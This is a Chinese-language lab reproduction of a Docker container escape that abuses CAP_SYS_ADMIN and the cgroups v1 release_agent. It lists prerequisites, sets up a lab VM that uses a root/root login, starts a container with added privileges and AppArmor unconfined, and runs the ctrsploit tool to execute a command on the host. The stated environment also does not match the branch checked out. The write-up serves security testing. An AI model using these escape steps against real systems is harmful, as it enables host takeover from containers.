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tags: sploit author: ssst0n3 spec_version: v0.1.0 version: v0.1.0 changelog: - v0.1.0: init

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docker CAP_SYS_ADMIN cgroups v1 release agent 逃逸

edit

1. 漏洞介绍

TODO

2. 利用场景

利用容器的不安全配置逃逸

3. 前提条件

1. 拥有cap_sys_admin
2. 容器内root
3. cgroups版本为v1
4. cgroups拥有top level subsystem
5. 允许执行mount系统调用

4. 漏洞存在性检查

ctrsploit checksec cap_sys_admin

5. 漏洞复现

5.1 复现环境

下面以 ssst0n3/docker_archive:ubuntu-22.04_docker-ce-24.0.7_containerd.io-1.6.27_runc-1.1.11_v0.1.0 作为复现环境。

$ git clone https://github.com/ssst0n3/docker_archive.git
$ cd docker_archive
$ git checkout branch_ubuntu-20.04_docker-ce-19.03.15_docker-ce-cli-19.03.15_containerd.io-1.4.3_runc-1.0.0-rc92
$ docker compose -f docker-compose.kvm.yml up -d
$ ssh -p 19315 [email protected]
[email protected]'s password: root
root@ubuntu:~# docker info
Client:
 Debug Mode: false

Server:
 Containers: 0
  Running: 0
  Paused: 0
  Stopped: 0
 Images: 0
 Server Version: 19.03.15
 Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Native Overlay Diff: true
 Logging Driver: json-file
 Cgroup Driver: cgroupfs
 Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
 Swarm: inactive
 Runtimes: runc
 Default Runtime: runc
 Init Binary: docker-init
 containerd version: 269548fa27e0089a8b8278fc4fc781d7f65a939b
 runc version: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
 init version: fec3683
 Security Options:
  apparmor
  seccomp
   Profile: default
 Kernel Version: 5.4.0-56-generic
 Operating System: Ubuntu 20.04.1 LTS
 OSType: linux
 Architecture: x86_64
 CPUs: 2
 Total Memory: 2.43GiB
 Name: ubuntu
 ID: 4X4W:QE26:IMGY:UHI5:QPCY:NDI5:KKFJ:YWUO:RNOC:QJKR:OHOQ:TXVR
 Docker Root Dir: /var/lib/docker
 Debug Mode: false
 Registry: https://index.docker.io/v1/
 Labels:
 Experimental: false
 Insecure Registries:
  127.0.0.0/8
 Live Restore Enabled: false

WARNING: No swap limit support

5.2 漏洞复现

启动存在不安全配置的容器。

root@ubuntu:~# docker run -ti --name poc --cap-add CAP_SYS_ADMIN --security-opt apparmor=unconfined ubuntu

下载 ctrsploit 步骤略，在容器内发起逃逸攻击。

root@e33b98bef3c3:/# ctrsploit --colorful checksec sys_admin
✔  cap_sys_admin	# Container can be escaped when has cap_sys_admin and use cgroups v1

root@e33b98bef3c3:/# ctrsploit exploit ra -c "cat /etc/hostname"
INFO[0000] Execute command: cat /etc/hostname           
INFO[0001] 
===========start of result==============
ubuntu
===========end of result==============